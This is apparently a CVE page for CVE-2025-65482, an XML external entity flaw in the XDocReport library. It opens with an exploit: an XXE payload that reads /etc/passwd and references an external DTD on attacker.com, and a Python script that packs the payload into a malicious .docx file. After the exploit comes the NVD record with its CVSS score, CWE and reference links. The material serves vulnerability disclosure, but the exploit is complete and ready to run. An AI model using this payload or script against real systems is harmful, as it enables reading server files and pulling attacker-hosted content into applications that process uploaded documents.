CVE-2025-65482

<!-- Malicious XXE payload to be placed in word/document.xml inside a .docx file --> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe2 SYSTEM "http://attacker.com/evil.dtd"> ]> <root> <content>&xxe;</content> </root> <!-- Python script to create malicious .docx file --> import zipfile import os def create_xxe_docx(): # Create a new .docx file (which is a ZIP archive) with zipfile.ZipFile('malicious.docx', 'w', zipfile.ZIP_DEFLATED) as docx: # Create [Content_Types].xml docx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types>''') # Create _rels/.rels docx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships>''') # Create word/_rels/document.xml.rels docx.writestr('word/_rels/document.xml.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> </Relationships>''') # Create malicious word/document.xml with XXE payload xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE document [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>&xxe;</w:t> </w:r> </w:p> </w:body> </w:document>''' docx.writestr('word/document.xml', xxe_payload) if __name__ == '__main__': create_xxe_docx() print('Malicious .docx file created: malicious.docx')

{"cve": {"id": "CVE-2025-65482", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:06.387", "lastModified": "2026-02-03T21:43:11.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XML External Entity (XXE) vulnerability in opensagres XDocReport v0.9.2 to v2.0.3 allows attackers to execute arbitrary code via uploading a crafted .docx file."}, {"lang": "es", "value": "Una vulnerabilidad de entidad externa XML (XXE) en opensagres XDocReport v0.9.2 a v2.0.3 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo .docx manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensagres:xdocreport:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.9.2", "versionEndIncluding": "2.0.3", "matchCriteriaId": "70CC9E02-2835-448B-8FB5-27DDCBE4C2F3"}]}]}], "references": [{"url": "https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=sharing", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://github.com/AT190510-Cuong/CVE-2025-65482-XXE-", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/opensagres/xdocreport", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://hackmd.io/@cuongnh/r1B7B8fJ-g", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://hackmd.io/@cuongnh/rkJPCgSy-l", "source": "[email protected]", "tags": ["Permissions Required"]}]}}